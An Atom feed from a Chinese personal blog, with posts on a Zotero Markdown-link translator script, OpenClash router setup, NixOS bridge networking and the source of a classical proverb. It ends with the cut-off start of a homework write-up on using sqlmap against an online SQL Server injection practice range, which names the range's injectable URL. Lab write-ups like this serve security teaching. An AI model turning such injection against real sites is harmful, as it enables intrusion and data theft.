07:46:51"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">doExport</span>(<span class="params"></span>) {</span><br><span class="line"> <span class="comment">// code is edited from https://gist.github.com/nschneid/3134386</span></span><br><span class="line"> <span class="keyword">var</span> item;</span><br><span class="line"> <span class="keyword">while</span> (item = <span class="title class_">Zotero</span>.<span class="title function_">nextItem</span>()) {</span><br><span class="line"> <span class="keyword">let</span> url = <span class="string">'zotero://select/items/'</span>;</span><br><span class="line"> <span class="keyword">var</span> library_id = item.<span class="property">libraryID</span> ? item.<span class="property">libraryID</span> : <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">var</span> titleS = (item.<span class="property">title</span>) ? item.<span class="property">title</span>.<span class="title function_">replace</span>(<span class="regexp">/&/g</span>, <span class="string">'&amp;'</span>).<span class="title function_">replace</span>(<span class="regexp">/"/g</span>, <span class="string">'&quot;'</span>) : <span class="string">"(no title)"</span>;</span><br><span class="line"> <span class="keyword">var</span> pubTitleS = (item.<span class="property">publicationTitle</span>) ? item.<span class="property">publicationTitle</span>.<span class="title function_">replace</span>(<span class="regexp">/&/g</span>, <span class="string">'&amp;'</span>).<span class="title function_">replace</span>(<span class="regexp">/"/g</span>, <span class="string">'&quot;'</span>) : <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">if</span> (!pubTitleS && item.<span class="property">type</span>) pubTitleS = <span class="string">'['</span> + item.<span class="property">type</span> + <span class="string">']'</span>;</span><br><span class="line"> url += library_id.<span class="title function_">toString</span>() + item.<span class="property">key</span>.<span class="title function_">toString</span>();</span><br><span class="line"> <span class="keyword">let</span> title = titleS + <span class="string">' '</span> + ((item.<span class="property">conferenceName</span>) ? item.<span class="property">conferenceName</span> : pubTitleS);</span><br><span class="line"> <span class="title class_">Zotero</span>.<span class="title function_">write</span>(<span class="string">`[<span class="subst">${title}</span>](<span class="subst">${url}</span>)`</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 代码也上传到了<a href="https://gist.github.com/ciaranchen/ad5cc47fd465f40ed68c4b30d3470605">Github Gist</a>中。</p><p> 代码下载下来后,保存文件名为: <code>Markdown ZotSelect.js</code></p><p> 使用方法如下。</p><ol><li>打开Zotero数据文件夹(可在 Zotero首选项 -> 高级 -> 数据存储位置 中查看),将 Markdown ZotSelect.js 文件放置在translators文件夹中。</li><li>重启Zotero,可以看到多出了一种导出格式 Markdown ZotSelect。</li><li>如需快捷键复制,在 Zotero首选项 -> 导出 -> 导出格式 中选择 Markdown ZotSelect 导出格式,则可以通过Ctrl+Shift+C 复制Markdown超链接样式的文献链接了。</li></ol><p> 复制的文本内容效果如下。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[Deeper Insights into Graph Convolutional Networks for Semi-Supervised Learning arXiv:1801.07606 [cs, stat]](zotero://select/items/0IFP9R7CA)</span><br></pre></td></tr></table></figure><p> 熟练的同学可以尝试修改脚本内容以符合具体要求。</p><p> </p>]]></content>
<summary type="html"><p> 我使用Zotero来管理我的论文,然而我通过思源笔记来编写论文的阅读笔记。然后就存在一个问题是二者之间的关系难以对应,思源笔记倒是支持点击复制笔记块的超链接,能导出以下形式的超链接。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">siyuan://blocks/&lt;block-id&gt;</span><br></pre></td></tr></table></figure>
<p> <img src="/images/image-20240115195250-si8f5pe.png" alt="image"></p>
<p> 点击后可以通过URL Scheme的形式打开对应的思源笔记块。在Zotero中,也支持用URL Scheme的格式打开文件,但是打开需要指定对应项目的ID,这个ID是普通用户难以获取的。</p></summary>
<category term="学术" scheme="http://blog.ciaran.cn/categories/%E5%AD%A6%E6%9C%AF/"/>
<category term="Zotero" scheme="http://blog.ciaran.cn/tags/Zotero/"/>
<category term="javascript, URLScheme" scheme="http://blog.ciaran.cn/tags/javascript%EF%BC%8C-URLScheme/"/>
</entry>
<entry>
<title>OpenClash 配置</title>
<link href="http://blog.ciaran.cn/2021/03/24/OpenClash%E9%85%8D%E7%BD%AE/"/>
<id>http://blog.ciaran.cn/2021/03/24/OpenClash%E9%85%8D%E7%BD%AE/</id>
<published>2021-03-24T03:46:38.000Z</published>
<updated>2024-01-16T08:14:29.671Z</updated>
<content type="html"><![CDATA[<p>事情的起因是新购了一台Oculus Quest2的VR头戴设备,这个设备需要访问Oculus商店(海外),而它本身上没法安装客户端,所以需要透明代理。</p><p>我每个设备上都配置了科学上网的客户端,但是没有在路由器上配置过透明代理,而在实验室因为搬家后,换下来一个NETGEAR R6220,不用白不用。</p><p>我所使用的代理服务是Trojan的,使用OpenClash是相对正确的选择。</p><span id="more"></span><h2 id="安装Openwrt"><a href="#安装Openwrt" class="headerlink" title="安装Openwrt"></a>安装Openwrt</h2><p>安装OpenWrt的过程没有什么值得细说的。因为OpenWrt的固件可以直接从网站上下载。</p><h2 id="安装OpenClash"><a href="#安装OpenClash" class="headerlink" title="安装OpenClash"></a>安装OpenClash</h2><p>通过<code>opkg print-architecture</code>命令确认自己的架构类型。如对于R6220,这个命令的输出如下:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">root@OpenWrt:~# opkg print-architecture</span><br><span class="line">arch all 1</span><br><span class="line">arch noarch 1</span><br><span class="line">arch mipsel_24kc 10</span><br></pre></td></tr></table></figure><p>则架构为 <code>mipsel_24kc</code>。</p><h3 id="安装依赖"><a href="#安装依赖" class="headerlink" title="安装依赖"></a>安装依赖</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">opkg update</span><br><span class="line">opkg install luci</span><br><span class="line">opkg install luci-base</span><br><span class="line">opkg install iptables</span><br><span class="line">opkg install dnsmasq-full</span><br><span class="line">opkg install coreutils</span><br><span class="line">opkg install coreutils-nohup</span><br><span class="line">opkg install bash</span><br><span class="line">opkg install curl</span><br><span class="line">opkg install jsonfilter</span><br><span class="line">opkg install ca-certificates</span><br><span class="line">opkg install ipset</span><br><span class="line">opkg install ip-full</span><br><span class="line">opkg install iptables-mod-tproxy</span><br><span class="line">opkg install kmod-tun <span class="comment">#TUN模式</span></span><br><span class="line">opkg install luci-compat</span><br></pre></td></tr></table></figure><ol><li><p>新增依赖:libcap 和 libcap-bin,去对应的openwrt网站上下载。对于不同架构的路由器应当将其中的<code>mips_24kc</code>换为你自己的架构。</p><p> <a href="https://downloads.openwrt.org/snapshots/packages/mips_24kc/packages/">https://downloads.openwrt.org/snapshots/packages/mips_24kc/packages/</a></p></li><li><p>安装dnsmasq-full前,可能需要删除dnsmasq,二者是冲突的。</p></li></ol><h3 id="安装OpenClash本体"><a href="#安装OpenClash本体" class="headerlink" title="安装OpenClash本体"></a>安装OpenClash本体</h3><p>从<a href="https://github.com/vernesong/OpenClash/releasess">openclash项目</a>下载对应架构的ipk文件:</p><p>因为最新版本使用了Ruby依赖,而运行之后总是出错,如果无法解决,可以使用<a href="https://github.com/vernesong/OpenClash/releasess">没有Ruby依赖的版本0.40.15</a></p><h3 id="OpenClash的配置"><a href="#OpenClash的配置" class="headerlink" title="OpenClash的配置"></a>OpenClash的配置</h3><p>如果选择0.40.15版本,不会自动选择内核。</p><p>对于mipsel_24kc,应选择mipsle-softfloat内核。</p><p>对于mips_24kc,选择 mips-softfloat。</p><p>内核存放于 <code>/etc/openclash/core/</code>。如果版本安装错误,可以在这个目录将内核文件删除后,重新选择并下载。</p>]]></content>
<summary type="html"><p>事情的起因是新购了一台Oculus Quest2的VR头戴设备,这个设备需要访问Oculus商店(海外),而它本身上没法安装客户端,所以需要透明代理。</p>
<p>我每个设备上都配置了科学上网的客户端,但是没有在路由器上配置过透明代理,而在实验室因为搬家后,换下来一个NETGEAR R6220,不用白不用。</p>
<p>我所使用的代理服务是Trojan的,使用OpenClash是相对正确的选择。</p></summary>
<category term="其它" scheme="http://blog.ciaran.cn/categories/%E5%85%B6%E5%AE%83/"/>
<category term="OpenWrt" scheme="http://blog.ciaran.cn/tags/OpenWrt/"/>
<category term="OpenClash" scheme="http://blog.ciaran.cn/tags/OpenClash/"/>
</entry>
<entry>
<title>恢复更新博客</title>
<link href="http://blog.ciaran.cn/2020/11/18/%E6%81%A2%E5%A4%8D%E6%9B%B4%E6%96%B0%E5%8D%9A%E5%AE%A2/"/>
<id>http://blog.ciaran.cn/2020/11/18/%E6%81%A2%E5%A4%8D%E6%9B%B4%E6%96%B0%E5%8D%9A%E5%AE%A2/</id>
<published>2020-11-18T06:02:48.000Z</published>
<updated>2024-01-16T08:14:29.696Z</updated>
<content type="html"><![CDATA[<p>我打算重新开始更新这个博客了,要写一些自己觉得有意思的东西。</p><p>这个博客是本科时建的,更新得也不频繁,给的定位是记录自己学习到的东西;所以内容很杂,但是大部分还是围绕着计算机相关的技术的。虽然也没有多少人真的会仔细地查看博客,但是我想它还是承担了一定的展示面的工作,至少我会在简历上写上我有这么一个博客。</p><p>到了开始读研究生的时候,我逐渐感觉好像自己了解的东西不一定适宜全都分享出来,所以记笔记的方法改成了在印象笔记中每次添加的一段话。这让我感觉压力一轻,写下来的东西也许不一定成为一篇文章,甚至除了自己之外可能都不会有人看懂那是什么,但是这减轻了记录的负担,感觉学到的东西好像逐渐变多了。</p><p>但是记录和展示本来就是两件不同的事情,他们区别很大,所以这是完全<strong>没有冲突的</strong>。</p><p>我完全应该利用博客展示一些自己的体会或者感受,像是旅游的记录和看完某本书后的感受,而不是躲在角落里自己做自己的事,搞得自己落得Otaku一样的刻板印象。</p>]]></content>
<summary type="html"><p>我打算重新开始更新这个博客了,要写一些自己觉得有意思的东西。</p>
<p>这个博客是本科时建的,更新得也不频繁,给的定位是记录自己学习到的东西;所以内容很杂,但是大部分还是围绕着计算机相关的技术的。虽然也没有多少人真的会仔细地查看博客,但是我想它还是承担了一定的展示面的工</summary>
</entry>
<entry>
<title>NixOS 配置网桥</title>
<link href="http://blog.ciaran.cn/2019/11/23/NixOS%E9%85%8D%E7%BD%AE%E7%BD%91%E6%A1%A5/"/>
<id>http://blog.ciaran.cn/2019/11/23/NixOS%E9%85%8D%E7%BD%AE%E7%BD%91%E6%A1%A5/</id>
<published>2019-11-23T13:36:23.000Z</published>
<updated>2024-01-16T08:14:29.670Z</updated>
<content type="html"><![CDATA[<p>我在实验室拿到了一台工作站,我需要配置和管理这台工作站与他人共享使用,然后我在工作站上安装了一个<code>NixOS</code>。<code>NixOS</code>是一个基于配置的Linux系统,它的一切配置都是基于配置文件进行的。</p><p>我的需求是不借助其它物理设备,在我桌子底下仅有的一个网口为我的笔记本电脑和工作站连上实验室的网络。</p><p>工作站有两张以太网卡。现在我是按照<code>笔记本 <-> 工作站 <-> 实验室</code>的方式连接的。我希望工作站的网络层中某个部分起到一个类似Hub或者交换机的作用,使得两个电脑都能被外界直接访问到,而不用借助类似NAT的手段。</p><p>我发现我需要的是<code>网桥</code>。在两个以太网口之间建立一条网桥,然后让两台机子都能访问网络。</p><span id="more"></span><h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2><p>我们可以参照一些使用<code>brctl</code>进行配置的教程,在网上能找到很多类似的教程,但是在<code>nixos</code>下需要写到配置文件中去。</p><p><code>NixOS</code>的配置文件位置在 <code>/etc/nixos/configuration.nix</code>,但是我不太希望使用同一个配置文件,所以重新建了一个文件<code>/etc/nixos/networking.nix</code>,并在<code>configuration.nix</code>中引用了它。(原文件中的第8行)</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">imports</span> =</span><br><span class="line"> [ <span class="comment"># Include the results of the hardware scan.</span></span><br><span class="line"> ./hardware-configuration.nix</span><br><span class="line"> <span class="comment"># Include network setting</span></span><br><span class="line"> ./networking.nix</span><br><span class="line"> ];</span><br></pre></td></tr></table></figure><p>在<code>networking.nix</code>中需要参照配置文件的方式编写。</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{ config, pkgs, ... }:</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>配置内容写在<code>...</code>中的位置。</p><p>如果希望在图形界面中管理网络设置,我们需要启动<code>networkmanger</code>服务,而且需要将当前用户添加到能控制网络的组中。在<code>networking.nix</code>中设置如下</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">networking.networkmanager.<span class="attr">enable</span> = <span class="literal">true</span>;</span><br><span class="line">users.users.ciaran.<span class="attr">extraGroups</span> = [ <span class="string">"networkmanager"</span> ];</span><br></pre></td></tr></table></figure><p>然后我们正式开始配置网桥。首先是添加这样的一个网桥:</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">networking.<span class="attr">bridges</span> = {</span><br><span class="line"> <span class="attr">br0</span> = {</span><br><span class="line"> <span class="attr">interfaces</span> = [ <span class="string">"enp9s0"</span> <span class="string">"enp5s0"</span> ];</span><br><span class="line"> };</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>我们配置了一个网桥<code>br0</code>,它连接了两个端口。如果参照使用<code>brctl</code>进行配置的教程就到此为止了。但是这样的情况是没法使用网络的。这样在我的笔记本上能访问外界网络,但是在工作站却没法做到。</p><p>我们会发现,虽然<code>ifconfig</code>能显示有这么一个网桥,但是没法在图形界面<code>networkmanager</code>对网桥进行配置。如果使用<code>ifconfig br0 down</code>命令,这个网桥就没法找到了。</p><p>这是因为我们只建了网桥而没有建立接口。所以我们需要显示地说明网桥的接口,配置网桥的网络,并为网桥分配IP。我们需要在配置文件<code>networking.nix</code>中添加这样的几行:</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">networking.<span class="attr">defaultGateway</span> = <span class="string">"a.a.a.a"</span>;</span><br><span class="line">networking.interfaces.br0.ipv4.<span class="attr">addresses</span> = [{</span><br><span class="line"> <span class="attr">address</span> = <span class="string">"b.b.b.b"</span>;</span><br><span class="line"> <span class="attr">prefixLength</span> = <span class="number">24</span>;</span><br><span class="line">}];</span><br></pre></td></tr></table></figure><p>当然我们也可以使用DHCP服务:</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">networking.interfaces.br0.<span class="attr">useDHCP</span> = <span class="literal">true</span>;</span><br></pre></td></tr></table></figure><p>这样就能达到我们的目的了,也就是两边都可以访问网络。</p>]]></content>
<summary type="html"><p>我在实验室拿到了一台工作站,我需要配置和管理这台工作站与他人共享使用,然后我在工作站上安装了一个<code>NixOS</code>。<code>NixOS</code>是一个基于配置的Linux系统,它的一切配置都是基于配置文件进行的。</p>
<p>我的需求是不借助其它物理设备,在我桌子底下仅有的一个网口为我的笔记本电脑和工作站连上实验室的网络。</p>
<p>工作站有两张以太网卡。现在我是按照<code>笔记本 &lt;-&gt; 工作站 &lt;-&gt; 实验室</code>的方式连接的。我希望工作站的网络层中某个部分起到一个类似Hub或者交换机的作用,使得两个电脑都能被外界直接访问到,而不用借助类似NAT的手段。</p>
<p>我发现我需要的是<code>网桥</code>。在两个以太网口之间建立一条网桥,然后让两台机子都能访问网络。</p></summary>
<category term="操作系统" scheme="http://blog.ciaran.cn/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"/>
<category term="Linux" scheme="http://blog.ciaran.cn/tags/Linux/"/>
<category term="bridge" scheme="http://blog.ciaran.cn/tags/bridge/"/>
<category term="NixOS" scheme="http://blog.ciaran.cn/tags/NixOS/"/>
</entry>
<entry>
<title>子不道父之过出处考</title>
<link href="http://blog.ciaran.cn/2019/02/28/%E5%AD%90%E4%B8%8D%E9%81%93%E7%88%B6%E4%B9%8B%E8%BF%87%E5%87%BA%E5%A4%84%E8%80%83/"/>
<id>http://blog.ciaran.cn/2019/02/28/%E5%AD%90%E4%B8%8D%E9%81%93%E7%88%B6%E4%B9%8B%E8%BF%87%E5%87%BA%E5%A4%84%E8%80%83/</id>
<published>2019-02-28T15:58:06.000Z</published>
<updated>2024-01-16T06:38:43.154Z</updated>
<content type="html"><![CDATA[<p>饭桌上谈到祖辈受教育时听到的《三字经》中有一句 <code>子不道,父之过</code> ,意思是”子辈的不应该说出父辈的过错”。说实话这让我感到困惑和些许不自在,所以我开始了对这个句话内容的一次求证。</p><p>然后写到这篇博客的原因是发现关于这句话,网络上的说法似乎并不准确,于是希望能做一个追本溯源的根据,仅此而已。</p><h2 id="子不教-父之过"><a href="#子不教-父之过" class="headerlink" title="子不教 父之过"></a>子不教 父之过</h2><p>《三字经》中是有与之相似的这么一句话。我记得的版本是这样的</p><blockquote><p>子不教,父之过。教不严,师之惰。</p></blockquote><p>意思是:子辈没有受到教育,这是父亲的过错。教育学生不严格要求,这就是做老师的懒惰了。</p><p>这句话有的版本是</p><blockquote><p>养不教,父之过。教不严,师之惰。</p></blockquote><p>意思是:生养孩子却不加教育,这是父亲的过错。教育学生不严格要求,这就是做老师的懒惰了。</p><p>##子不言父过</p><p>然后我再去查证这个<code>子不道父之过</code>的来源,没有什么办法。只有在百度引擎上查找,找到了“俗话说”的几个版本:</p><p>俗语:</p><blockquote><p>子不言父过,女不道母奸</p></blockquote><p>意思是:子女不去说父亲的过错,儿女不去说母亲的取巧。</p><p><a href="https://ctext.org/fengshen-yanyi/zhs">封神演义</a> <a href="https://ctext.org/fengshen-yanyi/60/zhs#n286748">六十回 马元下山助殷洪</a>:</p><blockquote><p>殷洪曰:“老师在上,容弟子一言告禀:殷洪乃纣王之子,怎的反助武王。古云:‘子不言父过。’况敢从反叛而弑父哉。即人神仙佛,不过先完纲常彝伦,方可言其冲举。又云:‘未修仙道,先修人道。人道未完,仙道远矣。’且老师之教弟子,且不论证佛成仙,亦无有教人有逆伦弑父之子。即以此奉告老师,老师当何以教我?”</p></blockquote><p><a href="https://ctext.org/fengshen-yanyi/zhs">封神演义</a> <a href="https://ctext.org/fengshen-yanyi/68/zhs#n286903">六十八回 首阳山夷齐阻兵</a>:</p><blockquote><p>夷、齐曰:“臣闻‘子不言父过,臣不彰君恶’。故父有诤子,君有诤臣。只闻以德而感君,未闻以下而伐上者。今纣王,君也,虽有不德,何不倾城尽谏,以尽臣节,亦不失为忠耳。况先王以服事殷,未闻不足于汤也。臣又闻‘至德无不感通,至仁无不宾服’。苟至德至仁在我,何凶残不化为淳良乎!以臣愚见,当退守臣节,体先王服事之诚,守千古君臣之分,不亦善乎。”</p></blockquote><p>也就是 <code>子不言父过,臣不彰君恶</code> ,意思是:儿子不说父亲的过失,臣子不暴露君王的缺点。</p><p><a href="https://ctext.org/wiki.pl?if=gb&res=773626&remap=gb">南疆绎史勘本卷十六</a> <a href="(https://ctext.org/wiki.pl?if=gb&chapter=635022&remap=gb#p16)">黄端伯</a>:</p><blockquote><p>王问:弘光何君?曰:「圣君」。问何以指昏为圣?曰:「子不言父过」。</p></blockquote><p><a href="https://zhidao.baidu.com/question/185460071">出处不明的</a>:</p><blockquote><p>子不言父过,女不擦母艳</p></blockquote><p>儿子不许讨论父亲的过错,女儿梳妆打扮不能僭越母亲。</p><h2 id="关于《礼记》"><a href="#关于《礼记》" class="headerlink" title="关于《礼记》"></a>关于《礼记》</h2><p>在搜索引擎上有很多的结果(包括<a href="https://www.zhihu.com/question/24023155">知乎</a>)中也提到这句话出自《礼记》,甚至还说明了这句话的前一句是<code>父不言子德</code>,但是具体出自《礼记》的哪一节,却是没有提到过。</p><p>于是尝试在<a href="https://ctext.org/zhs">中国哲学书电子化计划</a>中检索了这句话,但是<a href="https://ctext.org/liji/zhs?searchu=%E5%AD%90%E4%B8%8D%E8%A8%80%E7%88%B6%E8%BF%87">没有找到结果</a>。为了确保结果的正确,还到<a href="http://www.njmuseum.com/html/default.html">南京博物馆</a>下的<a href="(http://www.njmuseum.com/rbbook/gb/htm_search/search_13.asp)">十三经检索</a>中也检索了这句话,还是没有找到结果。</p><p>于是我认为《礼记》中没有这句话的相关内容。网上关于这句话的讨论是谬传了。</p><p>而这样的话出自《礼记》的说法,所能见到的流传最多的就是<code>百度知道</code>。(又是你啊百度)</p><p>于是尝试在百度知道检索了一下,所能发现的最早说出这句话出自《礼记》的,应该是这个回答<a href="https://zhidao.baidu.com/question/234394619.html?fr=iks&word=%EF%BF%BD%D3%B2%EF%BF%BD%EF%BF%BD%D4%B8%EF%BF%BD%EF%BF%BD%EF%BF%BD&ie=gbk">外人面前,父不夸子,子不批父,出自哪里?</a>。此后这句话便都是从《礼记》出来的了,甚至有人能说出它的上一句是<code>父不言子之德</code>。</p><h2 id="子不言父之过"><a href="#子不言父之过" class="headerlink" title="子不言父之过"></a>子不言父之过</h2><p>但是这句话是出自何处呢?通过将网传的上一句<code>父不言子德</code>进行检索,发现了谷歌图书中扫描的<a href="https://books.google.com.hk/books?id=qJ5PBAAAQBAJ&pg=PT86&lpg=PT86&dq=%E7%88%B6%E4%B8%8D%E8%A8%80%E5%AD%90%E5%BE%B7&source=bl&ots=ryb_WFJd-7&sig=ACfU3U3buFSZFNoeUvqxQIbtMTDddynLyA&hl=zh-CN&sa=X&ved=2ahUKEwiDwc3178bgAhVbwIsBHRMKAiUQ6AEwCHoECAUQAQ#v=onepage&q=%E7%88%B6%E4%B8%8D%E8%A8%80%E5%AD%90%E5%BE%B7&f=false">明心寶鑑</a>中有这样的一段:</p><blockquote><p>父不言子之德,子不言父之过。</p></blockquote><p>这段话在 《明心寶鑑》的 <code>遵禮篇 第十六 凡二十一條</code> 一节中,而这段话具体引用自哪里并不明确。</p><p>以下是维基百科对此书的介绍</p><blockquote><p>《<strong>明心寶鑑</strong>》大约成书于元末明初,辑录者或整理者是范立本。全书由20篇、六七百段文字组成,全書內容皆出自《<a href="https://www.wikiwand.com/zh/%E5%B0%9A%E6%9B%B8">尚書</a>》、《<a href="https://www.wikiwand.com/zh/%E6%98%93%E7%B6%93">易經</a>》、《<a href="https://www.wikiwand.com/zh/%E8%A9%A9%E7%B6%93">詩經</a>》、《<a href="https://www.wikiwand.com/zh/%E7%A6%AE%E8%A8%98">禮記</a>》、《<a href="https://www.wikiwand.com/zh/%E8%AB%96%E8%AA%9E">論語</a>》、《<a href="https://www.wikiwand.com/zh/%E5%AD%9F%E5%AD%90">孟子</a>》、《<a href="https://www.wikiwand.com/zh/%E8%8E%8A%E5%AD%90">莊子</a>》、《<a href="https://www.wikiwand.com/zh/%E5%A4%AA%E4%B8%8A%E6%84%9F%E6%87%89%E7%AF%87">太上感應篇</a>》、《<a href="https://www.wikiwand.com/zh/%E8%AA%AA%E8%8B%91">說苑</a>》、《<a href="https://www.wikiwand.com/zh/%E9%A1%8F%E6%B0%8F%E5%AE%B6%E8%A8%93">顏氏家訓</a>》、 《景行錄》等中國歷代經典中的格言、警句,雜糅儒、釋、道三教學說,薈萃<a href="https://www.wikiwand.com/zh/%E5%AD%94%E5%AD%90">孔子</a>、<a href="https://www.wikiwand.com/zh/%E5%AD%9F%E5%AD%90">孟子</a>、<a href="https://www.wikiwand.com/zh/%E8%8D%80%E5%AD%90">荀子</a>、<a href="https://www.wikiwand.com/zh/%E8%80%81%E5%AD%90">老子</a>、<a href="https://www.wikiwand.com/zh/%E8%8E%8A%E5%AD%90">莊子</a>、<a href="https://www.wikiwand.com/zh/%E6%9C%B1%E7%86%B9">朱熹</a>等先聖前賢有關個人品德修養、安身立命的論述精華。明朝以後,此書即為通俗讀物,也是最受歡迎的勸善書、啟蒙書之一。它除了是中國最古老的勸善書、啟蒙書之一,也是風行東亞、東南亞<a href="https://www.wikiwand.com/zh/%E6%BC%A2%E5%AD%97%E6%96%87%E5%8C%96%E5%9C%88">漢字文化圈</a>600多年的修身勵志經典。《明心寶鑑》普遍流行於朝鲜<a href="https://www.wikiwand.com/zh/%E6%9D%8E%E6%9C%9D">李朝</a>时代,且有「抄」之出現。《明心寶鑑》至今仍是韓國學習漢文者軎愛的古典良書之一。傳入日本的《明心寶鑑》,最早為1631年中野道伴的刻本。幕府儒臣<a href="https://www.wikiwand.com/zh/%E6%9E%97%E7%BE%85%E5%B1%B1">林羅山</a>所使用的《明心寶鑑》的版本,就是朝鮮刊行的清州本《明心寶鑑》(1454年刊行)。日本<a href="https://www.wikiwand.com/zh/%E6%B1%9F%E6%88%B6">江戶</a>時代,編纂引用了《明心寶鑑》條文的書籍被作為教訓書為人們所接受,这些啟蒙書或將《明心寶鑑》部分照抄,或仿照此書作成,亦或從多處引用而成,可見此書於日本之影響巨大。</p></blockquote><p><a href="http://culture.people.com.cn/GB/22219/5347386.html">这样的一本书,居然曾经在国内失传</a>。</p><p><a href="https://ctext.org/zhs">中国哲学书电子化计划</a>中收录了<a href="https://ctext.org/searchbooks.pl?if=gb&searchu=%E6%98%8E%E5%BF%83%E5%AF%B6%E9%91%91">谷歌图书的版本</a>。详细的来源是<code>哈佛燕京图书馆</code>。其中关于那句话的内容是</p><blockquote><p>父不言子之德,子不言父之過。</p></blockquote><p>在扫描的文字版本的<a href="https://ctext.org/wiki.pl?if=gb&chapter=523440#p771">770行</a>可以看到这句话。</p><p>在国内能找到的版本有两种:<code>华艺出版社</code> 和 <code>东方出版社</code>的版本。</p><p>华艺出版社版本出版于2007年1月连带注释如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">父不言子之德,子不言父之过。</span><br><span class="line"> 父亲不说子女的德行,子女不谈父亲的过错。</span><br></pre></td></tr></table></figure><p>东方出版社版本出版于2014年5月连带注释如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">原典16-16</span><br><span class="line">父不言子之恶,子不言父之过</span><br><span class="line">译文</span><br><span class="line">父亲不说子女的不好之处,子女不谈父亲的过错。</span><br></pre></td></tr></table></figure><p><code>恶</code> 和 <code>德</code> 完全就是两个相反的词了啊。华艺出版社版本是西班牙带出的双语手抄本,而东方出版社的是中国国家图书馆内的藏本,因此会出现不同。若按照网上最多出现次数的版本,还是前者较多。</p><p>但是翻译,我想倒还是以<a href="https://www.zhihu.com/question/24023155">知乎的网友所说</a>比较能认同。因为前一句既然是父辈对于子辈的关系的话,相对应的言应该是“宣扬”。若非说这是一句就算有错也不能指出的话,那倒是真的对传统文化的抹黑了。</p>]]></content>
<summary type="html"><p>饭桌上谈到祖辈受教育时听到的《三字经》中有一句 <code>子不道,父之过</code></summary>
<category term="扯淡" scheme="http://blog.ciaran.cn/categories/%E6%89%AF%E6%B7%A1/"/>
<category term="闲谈" scheme="http://blog.ciaran.cn/tags/%E9%97%B2%E8%B0%88/"/>
<category term="古文" scheme="http://blog.ciaran.cn/tags/%E5%8F%A4%E6%96%87/"/>
<category term="水" scheme="http://blog.ciaran.cn/tags/%E6%B0%B4/"/>
</entry>
<entry>
<title>简单sqlmap注入</title>
<link href="http://blog.ciaran.cn/2018/11/13/%E7%AE%80%E5%8D%95sqlmap%E6%B3%A8%E5%85%A5/"/>
<id>http://blog.ciaran.cn/2018/11/13/%E7%AE%80%E5%8D%95sqlmap%E6%B3%A8%E5%85%A5/</id>
<published>2018-11-12T16:47:27.000Z</published>
<updated>2024-01-16T06:38:43.161Z</updated>
<content type="html"><![CDATA[<p>信息安全的另一个作业是找一个<code>SQL Server</code>的动态网站注入,也没有说应该在哪里找,也没说必须手工注入。然后因为周末一直在浪,而也是死线逼近,于是就没多花什么时间地弄了一下。<del>是的,很水</del></p><span id="more"></span><p>由于实在找不到所谓<code>SQL Server</code>动态网站了,所以也是到墨者学院网找了一个在线靶场进行注入:<a href="https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe">SQL手工注入漏洞测试(Sql Server数据库)</a></p><p>在这个网站进行注测和开启靶场之后,就能拿到一个服务器的地址,我拿到的是<code>/219.153.49.228:49485</code>,然后点进去看到一个登陆框,但是实际上重点是登陆框下面的公告,鼠标悬浮发现它的<code>url</code>是<code>219.153.49.228:49485/new_list.asp?id=2</code>。看到这样的<code>url</code>猜测它是能进行注入的。然后下面就是从这里开始入手的整个过程。</p><p><img src="/images/inject_url.png" alt="inject url"></p><p>虽然标题是手工注入,但是实际上完全不想手工注入,还是使用<code>sqlmap快速</code>一点为好。(这是注入灵魂的东西)</p><p>本次实验使用的是一台Ubuntu的主机,通过<code>apt</code>安装程序:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install 